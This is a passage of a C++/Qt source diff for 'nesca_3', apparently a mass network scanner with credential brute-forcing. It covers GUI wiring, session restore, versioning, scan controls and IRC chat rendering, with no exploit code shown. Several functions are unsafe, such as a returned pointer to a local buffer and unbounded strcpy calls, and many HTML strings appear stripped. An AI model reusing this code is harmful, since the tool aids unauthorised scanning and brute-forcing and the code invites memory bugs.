SLOT(appendDefaultIRCText(bool, bool, int, QString, QString))); + connect ( ircTh, SIGNAL(changeRawIRCDataInc(QString)), this, SLOT(appendDefaultIRCRawTextInc(QString))); + connect ( ircTh, SIGNAL(changeRawIRCDataOut(QString)), this, SLOT(appendDefaultIRCRawTextOut(QString))); + connect ( chPTh, SIGNAL(changeRawIRCDataInc(QString)), this, SLOT(appendDefaultIRCRawTextInc(QString))); + connect ( chPTh, SIGNAL(changeRawIRCDataOut(QString)), this, SLOT(appendDefaultIRCRawTextOut(QString))); + connect ( ircTh, SIGNAL(setNick(QString)), this, SLOT(setNickBox(QString))); + connect ( ircTh, SIGNAL(changeIRCDataOut(QString)), this, SLOT(appendDefaultIRCTextOut(QString))); + connect ( ircTh, SIGNAL(notifyPlay()), this, SLOT(playFcknSound())); + connect ( adtHN, SIGNAL(sDrawActivityLine(QString)), this, SLOT(slotDrawActivityLine(QString))); + connect ( adtHN, SIGNAL(sDrawGrid()), this, SLOT(slotDrawActivityGrid())); + connect ( dtHN, SIGNAL(sAddDelimLines()), this, SLOT(slotDrawDelimLines())); + connect ( dtHN, SIGNAL(sDrawGrid()), this, SLOT(slotDrawGrid())); + connect ( dtHN, SIGNAL(sAddLine(int, int, int, int)), this, SLOT(slotAddLine(int, int, int, int))); + connect ( dtME2, SIGNAL(sAddPolyLine()), this, SLOT(slotAddPolyLine())); + connect ( dtME2, SIGNAL(sDrawTextPlacers()), this, SLOT(slotDrawTextPlacers())); + connect ( dtQoS, SIGNAL(sAddLine()), this, SLOT(slotQoSAddLine())); + connect ( dtGridQoS, SIGNAL(sAddLine()), this, SLOT(slotQoSAddGrid())); + connect ( dtGridQoS, SIGNAL(sAddDelimLines()), this, SLOT(slotQoSDrawDelimLines())); + connect ( vsTh, SIGNAL(sAddLine()), this, SLOT(slotVoiceAddLine())); + connect ( vsTh, SIGNAL(sDrawGrid(int)), this, SLOT(slotDrawVoiceGrid(int))); + connect ( vsTh, SIGNAL(sDrawTextPlacers()), this, SLOT(slotDrawTextPlacers())); + connect ( psTh, SIGNAL(sUpdatePie()), this, SLOT(slotUpdatePie()) ); + connect ( irc_nmb, SIGNAL(sBlinkMessage()), this, SLOT(slotBlinkMessage()) ); +}; +#pragma endregion + +void RestoreSession() +{ + FILE *resFile = fopen("restore", "r"); + char resStr[128] = {0}; + char *lex; + + if(resFile != NULL) + { +#pragma region QTGUI_Area + stt->doEmitionYellowFoundData("Previous session file found! Restoring..."); +#pragma endregion + while(fgets(resStr, 128, resFile) != NULL) + { + if(strstr(resStr, "[SESSION]:") != NULL) + { + + lex = strtok(strstr(resStr, "[SESSION]:") + strlen("[SESSION]:"), " "); + gMode = atoi(lex); + lex = strtok(NULL, " "); + if (lex == nullptr) { + stt->doEmitionRedFoundData("Restore file is corrupted."); + return; + } + + if(gMode == 0) + { + if(strstr(lex, "-") != NULL) + { + strncpy(gRange, lex, (int)(strstr(lex, "-") - lex)); + strcat(gRange, "-"); + strcat(gRange, strstr(lex, "-") + 1); + + lex = strtok(NULL, " "); + gThreads = atoi(lex); + + ui->threadLine->setText(QString(lex)); + ui->ipLine->setText(QString(gRange)); + ui->tabMainWidget->setCurrentIndex(0); + } + else if(strstr(lex, "/") != NULL) + { + strncpy(gRange, lex, (int)(strstr(lex, "/") - lex)); + strcat(gRange, "/"); + strcat(gRange, strstr(lex, "/") + 1); + + lex = strtok(NULL, " "); + gThreads = atoi(lex); + + ui->threadLine->setText(QString(lex)); + ui->ipLine->setText(QString(gRange)); + ui->tabMainWidget->setCurrentIndex(0); + }; + } + else if(gMode == 1) + { + ui->lineEditStartIPDNS->setText(QString(lex)); + lex = strtok(NULL, " "); + strcpy(gFirstDom, lex); + + lex = strtok(NULL, " "); + gThreads = atoi(lex); + ui->lineEditThread->setText(QString(lex)); + ui->lineILVL->setText(QString(gFirstDom)); + ui->tabMainWidget->setCurrentIndex(1); + ui->startScanButton_4->setText("RESTORE"); + } + else if(gMode == -1) + { + lex = strtok(NULL, " "); + gThreads = atoi(lex); + + ui->importThreads->setText(QString(lex)); + + FILE *testFile = fopen("tempIPLst.bk", "r"); + if(testFile != NULL) + { + ui->importButton->setText("RESTORE"); + importFileName = "tempIPLst.bk"; + fclose(testFile); + }; + ui->tabMainWidget->setCurrentIndex(2); + }; + + lex = strtok(NULL, " "); + + if(lex != NULL && strstr(lex, "-p") != NULL) + { + QString PortString = ""; + + char *tPorts = strstr(lex, "-p"); + int strln = strlen(tPorts); + char *fPorts = new char[strln]; + strncpy(fPorts, tPorts + 2, strln); + PortString = QString(fPorts); + + PortString.replace("\n", ""); + + ui->lineEditPort->setText(PortString); + ui->portLine->setText(PortString); + ui->importPorts->setText(PortString); + + delete []fPorts; + } + else + { + ui->lineEditPort->setText(PORTSET); + ui->portLine->setText(PORTSET); + }; + }; + + if(strstr(resStr, "[NDBSERVER]:") != NULL) + { + lex = strstr(resStr, "[NDBSERVER]:") + strlen("[NDBSERVER]:"); + + if(strlen(lex) > 1) + { + lex[strlen(lex) - 1] = '\0'; + ui->lineTrackerSrv->setText(QString(lex)); + }; + } + else if(strstr(resStr, "[NDBSCRIPT]:") != NULL) + { + lex = strstr(resStr, "[NDBSCRIPT]:") + strlen("[NDBSCRIPT]:"); + + if(strlen(lex) > 1) + { + lex[strlen(lex) - 1] = '\0'; + ui->lineTrackerScr->setText(QString(lex)); + }; + } + else if(strstr(resStr, "[NDBPORT]:") != NULL) + { + lex = strstr(resStr, "[NDBPORT]:") + strlen("[NDBPORT]:"); + + if(strlen(lex) > 1) + { + lex[strlen(lex) - 1] = '\0'; + ui->trcSrvPortLine->setText(QString(lex)); + }; + } + else if(strstr(resStr, "[PROXY]:") != NULL) + { + lex = strstr(resStr, "[PROXY]:") + strlen("[PROXY]:"); + + if(strlen(lex) > 1) + { + lex[strlen(lex) - 1] = '\0'; + }; + } + else if(strstr(resStr, "[PROXYPORT]:") != NULL) + { + lex = strstr(resStr, "[PROXYPORT]:") + strlen("[PROXYPORT]:"); + + if(strlen(lex) > 1) + { + lex[strlen(lex) - 1] = '\0'; + }; + } + else if(strstr(resStr, "[PING]:") != NULL) + { + lex = strstr(resStr, "[PING]:") + strlen("[PING]:"); + + if(strlen(lex) > 1) + { + lex[strlen(lex) - 1] = '\0'; + ui->pingingOnOff->setChecked(strcmp(lex, "true") == 0 ? true : false); + }; + } + else if(strstr(resStr, "[PING_TO]:") != NULL) + { + lex = strstr(resStr, "[PING_TO]:") + strlen("[PING_TO]:"); + + if(strlen(lex) > 1) + { + lex[strlen(lex) - 1] = '\0'; + ui->PingTO->setText(QString(lex)); + }; + } + else if(strstr(resStr, "[THREAD_DELAY]:") != NULL) + { + lex = strstr(resStr, "[THREAD_DELAY]:") + strlen("[THREAD_DELAY]:"); + + if(strlen(lex) > 1) + { + lex[strlen(lex) - 1] = '\0'; + ui->threadDelayBox->setText(QString(lex)); + }; + } + else if(strstr(resStr, "[TIMEOUT]:") != NULL) + { + lex = strstr(resStr, "[TIMEOUT]:") + strlen("[TIMEOUT]:"); + + if(strlen(lex) > 1) + { + lex[strlen(lex) - 1] = '\0'; + ui->iptoLine_value->setText(QString(lex)); + ui->iptoLine_value_2->setText(QString(lex)); + ui->iptoLine_value_3->setText(QString(lex)); + }; + } + else if(strstr(resStr, "[MAXBTHR]:") != NULL) + { + lex = strstr(resStr, "[MAXBTHR]:") + strlen("[MAXBTHR]:"); + + if(strlen(lex) > 1) + { + lex[strlen(lex) - 1] = '\0'; + ui->maxBrutingThrBox->setText(QString(lex)); + }; + } + else if(strstr(resStr, "[PERSKEY]:") != NULL) + { + lex = strstr(resStr, "[PERSKEY]:") + strlen("[PERSKEY]:"); + + if(strlen(lex) > 1) + { + lex[strlen(lex) - 1] = '\0'; + ui->linePersKey->setText(QString(lex)); + }; + } + else if(strstr(resStr, "[IRCSERVER]:") != NULL) + { + lex = strstr(resStr, "[IRCSERVER]:") + strlen("[IRCSERVER]:"); + + if(strlen(lex) > 1) + { + lex[strlen(lex) - 1] = '\0'; + ui->ircServerBox->setText(QString(lex)); + }; + } + else if(strstr(resStr, "[IRCPORT]:") != NULL) + { + lex = strstr(resStr, "[IRCPORT]:") + strlen("[IRCPORT]:"); + + if(strlen(lex) > 1) + { + lex[strlen(lex) - 1] = '\0'; + ui->serverPortBox->setText(QString(lex)); + }; + } + else if(strstr(resStr, "[IRCPROXY]:") != NULL) + { + lex = strstr(resStr, "[IRCPROXY]:") + strlen("[IRCPROXY]:"); + + if(strlen(lex) > 1) + { + lex[strlen(lex) - 1] = '\0'; + ui->ircProxy->setText(QString(lex)); + }; + } + else if(strstr(resStr, "[IRCPROXYPORT]:") != NULL) + { + lex = strstr(resStr, "[IRCPROXYPORT]:") + strlen("[IRCPROXYPORT]:"); + + if(strlen(lex) > 1) + { + lex[strlen(lex) - 1] = '\0'; + ui->ircProxyPort->setText(QString(lex)); + }; + } + else if(strstr(resStr, "[IRCNICK]:") != NULL) + { + lex = strstr(resStr, "[IRCNICK]:") + strlen("[IRCNICK]:"); + + if(strlen(lex) > 1) + { + lex[strlen(lex) - 1] = '\0'; + ui->ircNickBox->setText(QString(lex)); + } + else + { + ui->ircNickBox->setText("ns_" + QString::number(qrand() % 8999 + 1000 )); + }; + }; + }; + fclose(resFile); + +#pragma region QTGUI_Area + stt->doEmitionGreenFoundData("Previous session restored."); +#pragma endregion + }; +} +void CreateVerFile() +{ + FILE *vf = fopen("version", "w"); + + if(vf != NULL) + { + fputs(gVER, vf); + fclose(vf); + }; +}; +char *GetVer() +{ + int dver = 0; + int tver = 0; + char t[32] = __DATE__; + + dver = __DATE__[9] - 48; + dver *= 10; + dver += __DATE__[10] - 48; + dver *= 100; + + if(__DATE__[0] == 'J' && __DATE__[1] == 'a') dver += 1; + else if(__DATE__[0] == 'F') dver += 2; + else if(__DATE__[0] == 'M' && __DATE__[1] == 'a' && __DATE__[2] == 'r') dver += 3; + else if(__DATE__[0] == 'A' && __DATE__[1] == 'p') dver += 4; + else if(__DATE__[0] == 'M' && __DATE__[1] == 'a' && __DATE__[2] == 'y') dver += 5; + else if(__DATE__[0] == 'J' && __DATE__[1] == 'u' && __DATE__[2] == 'n') dver += 6; + else if(__DATE__[0] == 'J' && __DATE__[1] == 'u' && __DATE__[2] == 'l') dver += 7; + else if(__DATE__[0] == 'A' && __DATE__[1] == 'u') dver += 8; + else if(__DATE__[0] == 'S') dver += 9; + else if(__DATE__[0] == 'O') dver += 10; + else if(__DATE__[0] == 'N') dver += 11; + else if(__DATE__[0] == 'D') dver += 12; + + if(__DATE__[4] != ' ') + { + dver *= 10; + dver += __DATE__[4] - 48; + } + else dver *= 10; + dver *= 10; + dver += __DATE__[5] - 48; + + tver = __TIME__[0] - 48; + tver *= 10; + tver += __TIME__[1] - 48; + tver *= 10; + tver += __TIME__[3] - 48; + tver *= 10; + tver += __TIME__[4] - 48; + + char db[32] = {0}; + char tb[32] = {0}; + sprintf(db, "%X", dver); + strcat(db, "-"); + sprintf(tb, "%X", tver); + strcat(db, tb); + + return db; +}; + +void nesca_3::slotShowRedVersion() +{ + ui->rVerLabel->show(); +}; +void _startVerCheck() +{ + vct->start(); +}; +void _startMsgCheck() +{ + mct->start(); +}; + + nesca_3::nesca_3(QWidget *parent) : QMainWindow(parent) +{ + setWindowFlags ( Qt::FramelessWindowHint ); + this->hide(); + + gthis = this; + ui->setupUi(this); + ui->widgetIRC->installEventFilter(this); + ui->shoutBox->installEventFilter(this); + setSomeStyleArea(); + ui->IRCModeChangerBut->setVisible(false); + ui->dataText->setOpenExternalLinks(true); + ui->dataText->setOpenLinks(false); + ui->rVerLabel->hide(); + setSceneArea(); + + tray = new QSystemTrayIcon(QIcon(":/nesca_3/Z:/nesca.ico"), this); + tray->hide(); + + SetValidators(); + ConnectEvrthng(); + + QTime time = QTime::currentTime(); + qsrand((uint)time.msec()); + + QLinearGradient gradient(0, 0, 0, 20); + gradient.setColorAt(0, QColor(0,255,0)); + gradient.setColorAt(0.5, QColor(100,100,100, 100)); + gradient.setColorAt(1, QColor(255,255,255, 60)); + pen2i.setBrush(gradient); + + ui->ircNickBox->setText("nsa_" + QString::number(qrand() % 8999 + 1000)); + + char rVer[32] = {0}; + strcpy(rVer, GetVer()); + QString QVER = QString(rVer); + QByteArray ba = QVER.toLatin1(); + strcpy(gVER, ba.data()); + ui->logoLabel->setToolTip("v3-" + QVER); + ui->logoLabel->setStyleSheet("color:white; border: none;background-color:black;"); + ui->newMessageLabel->setStyleSheet("color:rgba(255, 0, 0, 0);background-color: rgba(2, 2, 2, 0);"); + + CreateVerFile(); + + RestoreSession(); + saveOptions(); + + PhraseLog.push_back(""); + CreateMsgPopupWidget(); + + dtHN->start(); + dtME2->start(); + adtHN->start(); + + pbPointerFont.setFamily("Eurostile"); + pbPointerFont.setPixelSize(8); + +#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) + WSADATA wsda; + if (WSAStartup(0x0101, &wsda)) + { + #pragma region QTGUI_Area + stt->doEmitionRedFoundData("WSAStartup failed."); + stt->doEmitionKillSttThread(); + #pragma endregion + }; +#endif + + _startVerCheck(); + _startMsgCheck(); + + //float step = 0; + //QPen iprvPenRegular(QColor(51, 51, 51, 100)); + //QPen iprvPen(QColor(51, 51, 51, 100)); + //while(step < 480) + //{ + // jobRangeVisualScene->addLine(step, 0, step, 41, iprvPenRegular); + // step += 30; + //}; + //QPen iprvPenComplete(QColor(51, 51, 51, 100)); + //while(step < 480) + //{ + // jobRangeVisualScene->addLine(step, 0, step, 41, iprvPen); + // step += 30; + //}; +}; +void nesca_3::playFcknSound() +{ + QSound::play("00000036.wav"); +}; +void nesca_3::mousePressEvent(QMouseEvent *event) +{ + if (event->button() == Qt::LeftButton) { + dragPosition = event->globalPos() - frameGeometry().topLeft(); + event->accept(); + }; +} +void nesca_3::mouseReleaseEvent(QMouseEvent * event) +{ + if (event->modifiers() == Qt::ControlModifier) { + privateMsgFlag = false; + event->accept(); + }; +}; +void nesca_3::mouseMoveEvent(QMouseEvent * event) +{ + QPoint CPos = (event->globalPos() - dragPosition); + QWidget::move(CPos); + if(qwm != NULL) qwm->move(CPos.x() + WIDGET_WIDTH + 5, CPos.y()); +}; +void nesca_3::exitButtonClicked() +{ + globalScanFlag = false; + stt->terminate(); +#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) + WSACleanup(); +#endif + qApp->quit(); +}; +void nesca_3::trayButtonClicked() +{ + if(tray->isVisible()) + { + show(); + tray->hide(); + } + else + { + hide(); + tray->show(); + }; +}; +void nesca_3::ChangeShuffle(bool val) +{ + gShuffle = val; +}; +void nesca_3::ChangeTrackerOK(bool val) +{ + trackerOK = val; +}; +void nesca_3::ChangePingerOK(bool val) +{ + ui->PingTO->setEnabled(val); + gPingNScan = val; + if(val == false) + { + ui->PingTO->setStyleSheet("color: rgb(116, 116, 116);background-color: rgb(56, 56, 56);border:none;"); + } + else + { + ui->PingTO->setStyleSheet("color: rgb(216, 216, 216);background-color: rgb(56, 56, 56);border:none;"); + }; +}; + + +void nesca_3::ChangeDebugFileState(bool val) +{ + debugFileOK = val; +}; +void nesca_3::saveOptions() +{ + int ci = ui->tabMainWidget->currentIndex(); + + + + if(ci == 0) + { + ZeroMemory(saveStartIP, sizeof(saveStartIP)); + ZeroMemory(endIP2, sizeof(endIP2)); + ZeroMemory(top_level_domain, sizeof(top_level_domain)); + ZeroMemory(gPorts, sizeof(gPorts)); + gMode = 0; + gThreads = ui->threadLine->text().toInt(); + int indexof = ui->ipLine->text().indexOf("-"); + if(indexof > 0) + { + strncpy(saveStartIP, ui->ipLine->text().toLocal8Bit().data(), indexof); + if(ui->ipLine->text().indexOf("/") < 0) strcpy(endIP2, ui->ipLine->text().toLocal8Bit().data()); + } + else + { + if(ui->ipLine->text().indexOf("/") < 0) + { + strcpy(saveStartIP, ui->ipLine->text().toLocal8Bit().data()); + strcpy(endIP2, ui->ipLine->text().toLocal8Bit().data()); + strcat(endIP2, "-"); + strcat(endIP2, ui->ipLine->text().toLocal8Bit().data()); + } + else + { + strncpy(saveStartIP, ui->ipLine->text().toLocal8Bit().data(), ui->ipLine->text().indexOf("/")); + }; + }; + + strncpy(gPorts, ("-p" + ui->portLine->text()).toLocal8Bit().data(), 65536); + } + else if(ci == 1) + { + ZeroMemory(saveStartIP, sizeof(saveStartIP)); + ZeroMemory(endIP2, sizeof(endIP2)); + ZeroMemory(top_level_domain, sizeof(top_level_domain)); + ZeroMemory(gPorts, sizeof(gPorts)); + gMode = 1; + gThreads = ui->lineEditThread->text().toInt(); + int indexof = ui->lineEditStartIPDNS->text().indexOf("/"); + if(indexof > 0) + { + strncpy(saveStartIP, ui->lineEditStartIPDNS->text().toLocal8Bit().data(), indexof); + strcpy(endIP2, ui->lineEditStartIPDNS->text().toLocal8Bit().data()); + } + else + { + strcpy(saveStartIP, ui->lineEditStartIPDNS->text().toLocal8Bit().data()); + strcpy(endIP2, ui->lineEditStartIPDNS->text().toLocal8Bit().data()); + strcat(endIP2, "/"); + strcat(endIP2, ui->lineEditStartIPDNS->text().toLocal8Bit().data()); + }; + + strcpy(top_level_domain, ui->lineILVL->text().toLocal8Bit().data()); + + strncpy(gPorts, ("-p" + ui->lineEditPort->text()).toLocal8Bit().data(), 65536); + }; + + strcpy(trcSrv, ui->lineTrackerSrv->text().toLocal8Bit().data()); + strcpy(trcScr, ui->lineTrackerScr->text().toLocal8Bit().data()); + strncpy(trcPersKey, ui->linePersKey->text().toLocal8Bit().data(), 32); + strcpy(trcSrvPortLine, ui->trcSrvPortLine->text().toLocal8Bit().data()); + + strcpy(ircServer, ui->ircServerBox->text().toLocal8Bit().data()); + strcpy(ircPort, ui->serverPortBox->text().toLocal8Bit().data()); + strcpy(ircProxy, ui->ircProxy->text().toLocal8Bit().data()); + strcpy(ircProxyPort, ui->ircProxyPort->text().toLocal8Bit().data()); + strcpy(ircNick, ui->ircNickBox->text().toLocal8Bit().data()); +}; +void nesca_3::STTTerminate() +{ + importFileName = ""; + startFlag = false; + globalScanFlag = false; + + stt->terminate(); + + while(__savingBackUpFile) Sleep(100); + + nCleanup(); + ui->tabMainWidget->setTabEnabled(0, true); + ui->tabMainWidget->setTabEnabled(1, true); + ui->tabMainWidget->setTabEnabled(2, true); + ui->tabMainWidget->setTabEnabled(3, true); + stt->doEmitionThreads(QString::number(0) + "/" + QString::number(gThreads)); + stt->doEmitionIPS("0"); + stt->doEmitionChangeBA("0"); + BrutingThrds = 0; + cons = 0; + setButtonStyleArea(); + ui->startScanButton_3->setText("Start"); + ui->startScanButton_4->setText("Start"); + ui->importButton->setText("Import&&Scan"); + ui->labelStatus_Value->setText("Idle"); +}; +bool dfLocked = false; +void writeDebugFile(QString str) +{ + while(dfLocked) Sleep(10); + QDate qd; + char b[8] = {0}; + char fn[64] = {0}; + strcpy(fn, "./output_"); + strcat(fn, itoa(qd.currentDate().day(), b, 10)); + strcat(fn, "_"); + strcat(fn, itoa(qd.currentDate().month(), b, 10)); + strcat(fn, "_"); + strcat(fn, itoa(qd.currentDate().year(), b, 10)); + strcat(fn, ".txt"); + + FILE *df = fopen(fn, "a"); + if(df != NULL) + { + dfLocked = true; + fputs(str.toLocal8Bit().data(), df); + fclose(df); + dfLocked = false; + } + else + { + stt->doEmitionRedFoundData("[DEBUG: Cannot open " + QString(fn) + "]"); + }; +}; +void nesca_3::startScanButtonClicked() +{ + if(startFlag == false) + { + if(trackerOK) + { + if(ui->linePersKey->text().size() != 0) + { + CheckPersKey(0); + } + else + { + stt->doEmitionRedFoundData("Empty \"Personal key\" field. "); + }; + } + else + { + stt->doEmitionStartScanIP(); + }; + } + else + { + if(stopFirst == false) + { + stopFirst = true; + globalScanFlag = false; + ui->startScanButton_3->setStyleSheet( + " QPushButton {" + "background-color: qlineargradient(spread:none, x1:1, y1:0, x2:1, y2:1, stop:0.681818 rgba(0, 0, 0, 250), stop:1 rgba(255, 255, 255, 130));" + "color: red;" + "border: 0.5px solid qlineargradient(spread:reflect, x1:0.54, y1:0.488591, x2:0.54, y2:0, stop:0 rgba(255, 255, 255, 130), stop:1 rgba(0, 0, 0, 255));" + "}" + ); + + ui->startScanButton_3->setText("STOP!"); + stt->doEmitionYellowFoundData("Trying to stop. Please, wait..."); + } + else + { + globalScanFlag = false; + ui->startScanButton_3->setStyleSheet( + " QPushButton {" + "background-color: qlineargradient(spread:none, x1:1, y1:0, x2:1, y2:1, stop:0.681818 rgba(0, 0, 0, 250), stop:1 rgba(255, 255, 255, 130));" + "color: yellow;" + "border: 0.5px solid qlineargradient(spread:reflect, x1:0.54, y1:0.488591, x2:0.54, y2:0, stop:0 rgba(255, 255, 255, 130), stop:1 rgba(0, 0, 0, 255));" + "}" + ); + + ui->startScanButton_3->setText("Wait..."); + stt->doEmitionYellowFoundData("Wait, killing threads..."); + STTTerminate(); + }; + }; +}; +void nesca_3::startScanButtonClickedDNS() +{ + if(startFlag == false) + { + if(trackerOK) + { + if(ui->linePersKey->text().size() != 0) + { + CheckPersKey(1); + } + else + { + stt->doEmitionRedFoundData("Empty \"Personal key\" field. "); + }; + } + else + { + stt->doEmitionStartScanDNS(); + }; + } + else + { + if(stopFirst == false) + { + stopFirst = true; + globalScanFlag = false; + ui->startScanButton_4->setStyleSheet( + " #startScanButton_4 {" + "background-color: qlineargradient(spread:none, x1:1, y1:0, x2:1, y2:1, stop:0.681818 rgba(0, 0, 0, 250), stop:1 rgba(255, 255, 255, 130));" + "color: red;" + "border: 0.5px solid qlineargradient(spread:reflect, x1:0.54, y1:0.488591, x2:0.54, y2:0, stop:0 rgba(255, 255, 255, 130), stop:1 rgba(0, 0, 0, 255));" + "}" + ); + + ui->startScanButton_4->setText("STOP!"); + stt->doEmitionYellowFoundData("Trying to stop. Please, wait..."); + } + else + { + globalScanFlag = false; + ui->startScanButton_4->setStyleSheet( + " #startScanButton_4 {" + "background-color: qlineargradient(spread:none, x1:1, y1:0, x2:1, y2:1, stop:0.681818 rgba(0, 0, 0, 250), stop:1 rgba(255, 255, 255, 130));" + "color: yellow;" + "border: 0.5px solid qlineargradient(spread:reflect, x1:0.54, y1:0.488591, x2:0.54, y2:0, stop:0 rgba(255, 255, 255, 130), stop:1 rgba(0, 0, 0, 255));" + "}" + ); + + ui->startScanButton_4->setText("Wait..."); + stt->doEmitionYellowFoundData("Killing threads..."); + STTTerminate(); + }; + }; +}; +void nesca_3::logoLabelClicked() +{ + QDesktopServices::openUrl(QUrl("http://nesca.d3w.org/")); +}; +void nesca_3::ChangeLabelTO_ValueChanged(QString str) +{ + gTimeOut = str.toInt(); +}; +void nesca_3::ChangeLabelThreads_ValueChanged(QString str) +{ + gThreads = str.toInt(); +}; +void nesca_3::PingTO_ChangeValue(QString str) +{ + gPingTimeout = str.toInt(); +}; +void nesca_3::ThreadDelay_ChangeValue(QString str) +{ + gThreadDelay = str.toInt(); +}; +void nesca_3::MaxBrutingThr_ChangeValue(QString str) +{ + gMaxBrutingThreads = str.toInt(); +}; +void nesca_3::appendRedBAData(QString str) +{ + ui->BAText->append("" + QString::fromUtf8(str.toLocal8Bit().data()) + ""); +}; +void nesca_3::appendGreenBAData(QString str) +{ + ui->BAText->append("" + str + ""); +}; +void nesca_3::appendDefaultText(QString str) +{ + ui->dataText->append("

[" + QTime::currentTime().toString() + "] " + str + "

"); + if(debugFileOK) writeDebugFile(str + "\n"); +}; +void nesca_3::appendErrText(QString str) +{ + ui->dataText->append("[" + QTime::currentTime().toString() + "]" + QString::fromUtf8(str.toLocal8Bit().data()) + ""); + + if(stt->isRunning() == false) + { + startFlag = false; + stt->doEmitionChangeStatus("Idle"); + stt->doEmitionIPS("0"); + ui->startScanButton_3->setText("Start"); + stt->terminate(); + }; + if(debugFileOK) writeDebugFile(str + "\n"); +}; +void nesca_3::appendOKText(QString str) +{ + ui->dataText->append("[" + QTime::currentTime().toString() + "][OK] " + str + ""); + if(debugFileOK) writeDebugFile(str + "\n"); +}; +void nesca_3::appendNotifyText(QString str) +{ + ui->dataText->append("[" + QTime::currentTime().toString() + "][*] " + str + ""); + if(debugFileOK) writeDebugFile(str + "\n"); +}; +void nesca_3::appendDebugText(QString str) +{ + ui->dataText->append("[DEBUG] " + str + ""); + if(debugFileOK) writeDebugFile(str + "\n"); +}; + +QRegExp r("[ht|f]{0,2}tp[s]{0,1}://(\\w|\\.|,|/|:|-|_|\\?|!|\\@|#|\\$|%|\\^|&|\\*|=|\\+|<|>|;|:|\"|'|~|\\[|\\])*[\\s|\\t]{0,1}"); +QRegExp under("((.+|(.+$)))"); +QRegExp boldr("((.+|(.+$)))"); +QRegExp colr("(\\d+[,\\d+]{0,2})"); + +QString GetColorCode(int mode, QString str) +{ + QRegExp c("(\\d{0,2})"); + QRegExp bg(",(\\d{0,2})"); + QString col; + + if(mode == 0) + { + c.indexIn(str); + col = c.cap(1); + } + else + { + bg.indexIn(str); + col = bg.cap(1); + }; + + QString result; + + int icol = col.toInt(); + if(icol == 0) result = "#AFAFAF"; + else if(icol == 1) result = "black"; + else if(icol == 2) result = "darkblue"; + else if(icol == 3) result = "green"; + else if(icol == 4) result = "red"; + else if(icol == 5) result = "darkred"; + else if(icol == 6) result = "blueviolet"; + else if(icol == 7) result = "darkorange"; + else if(icol == 8) result = "yellow"; + else if(icol == 9) result = "lightgreen"; + else if(icol == 10) result = "darkcyan"; + else if(icol == 11) result = "teal"; + else if(icol == 12) result = "blue"; + else if(icol == 13) result = "pink"; + else if(icol == 14) result = "#4d4d4d"; + else if(icol == 15) result = "gray"; + else result = "#AFAFAF"; + + return result; +}; +void nesca_3::appendDefaultIRCTextOut(QString str) +{ + bool thisIsUrl = false; + r.indexIn(str); + + QString link = r.cap(0); + + if(link.size() != 0) + { + str.replace("<", "<"); + link.replace("<", "<"); + str.replace(r, "" + link.trimmed() + " "); + thisIsUrl = true; + }; + + QString rData; + if(code160 || thisIsUrl) rData = "[" + QTime::currentTime().toString() + "] " + str.trimmed() + ""; + else rData = "[" + QTime::currentTime().toString() + "] " + str.trimmed().toHtmlEscaped() + ""; + + globalIRCText += rData + "\n"; + if(utfIRCFlag) + { + QByteArray wtf = codec->fromUnicode(rData); + ui->ircText->append(QString(wtf)); + } + else ui->ircText->append(rData); + + thisIsUrl = false; +}; +void nesca_3::appendDefaultIRCText(bool pm, bool hlflag, int cCode, QString str, QString senderNick) +{ + bool thisIsUrl = false; + +#pragma region Color-handler + int pos = 0; + QString colRes; + while ((pos = colr.indexIn(str, pos)) != -1) + { + colRes = colr.cap(1); + if(colRes.indexOf(",") > 0) str.replace(colRes, ""); + else str.replace(colRes, ""); + pos += colr.matchedLength(); + thisIsUrl = true; + }; +#pragma endregion + +#pragma region Bold-handler + int posBold = 0; + QString boldRes; + boldr.setMinimal(true); + while ((posBold = boldr.indexIn(str, posBold)) != -1) + { + boldRes = boldr.cap(0); + QString boldResTrimmed = boldRes; + boldResTrimmed.replace("", ""); + str.replace(boldRes, "" + boldResTrimmed + ""); + posBold += boldr.matchedLength(); + thisIsUrl = true; + }; +#pragma endregion + +#pragma region underline-handler + int posUnder = 0; + QString underRes; + under.setMinimal(true); + while ((posUnder = under.indexIn(str, posUnder)) != -1) + { + underRes = under.cap(0); + QString underResTrimmed = underRes; + underResTrimmed.replace("", ""); + str.replace(underRes, "" + underResTrimmed + ""); + posUnder += under.matchedLength(); + thisIsUrl = true; + }; +#pragma endregion + +#pragma region link-handler + r.indexIn(str); + QString link = r.cap(0); + if(link.size() != 0) + { + str.replace("<", "<"); + link.replace("<", "<"); + str.replace(r, "" + link.trimmed() + " "); + thisIsUrl = true; + }; +#pragma endregion + + str.replace("", ""); + str.replace("", ""); + + char rawData[512] = {0}; + strncpy(rawData, str.toLocal8Bit().data(), 512); + + if(strstr(rawData, "") != NULL || strstr(rawData, "") != NULL || + strstr(rawData, "") != NULL || strstr(rawData, "") != NULL + ) thisIsUrl = true; + + QString rData; + if(strstr(rawData, "ACTION") != NULL) + { + senderNick.replace("[", ""); + senderNick.replace("]:", ""); + str.replace("ACTION", ""); + str.replace("", ""); + rData = "[" + QTime::currentTime().toString() + "] -->" + senderNick + " " + str.trimmed().toHtmlEscaped() + ""; + globalIRCText += rData + "\n"; + if(utfIRCFlag) + { + QByteArray wtf = codec->fromUnicode(rData); + ui->ircText->append(QString(wtf)); + } + else ui->ircText->append(rData); + } + else + { + if(hlflag) + { + if(code160 || thisIsUrl) rData = "[" + QTime::currentTime().toString() + "] " + (pm?" [PM] ":"") + senderNick + " " + str + ""; + else rData = "[" + QTime::currentTime().toString() + "] " + (pm?" [PM] ":"") + senderNick + " " + str.trimmed().toHtmlEscaped() + ""; + } + else + { + if(code160 || thisIsUrl) rData = "[" + QTime::currentTime().toString() + "] " + (pm?" [PM] ":"") + senderNick + " " + str + ""; + else rData = "[" + QTime::currentTime().toString() + "] " + (pm?" [PM] ":"") + senderNick + " " + str.trimmed().toHtmlEscaped() + ""; + }; + + globalIRCText += rData + "\n"; + if(utfIRCFlag) + { + QByteArray wtf = codec->fromUnicode(rData); + ui->ircText->append(QString(wtf)); + } + else ui->ircText->append(rData); + }; +}; +void nesca_3::appendRedIRCText(QString str) +{ + QString rData; + rData = "[" + QTime::currentTime().toString() + "] " + str + ""; + globalIRCText += rData + "\n"; + ui->ircText->append(rData); +}; +void nesca_3::appendGreenIRCText(QString str) +{ + QString rData; + rData = "[" + QTime::currentTime().toString() + "] " + str + ""; + globalIRCText += rData + "\n"; + ui->ircText->append(rData); +}; +void nesca_3::appendYellowIRCText(QString str) +{ + QString rData; + rData = "[" + QTime::currentTime().toString() + "] " + "[*] " + str.trimmed() + ""; + globalIRCText += rData + "\n"; + 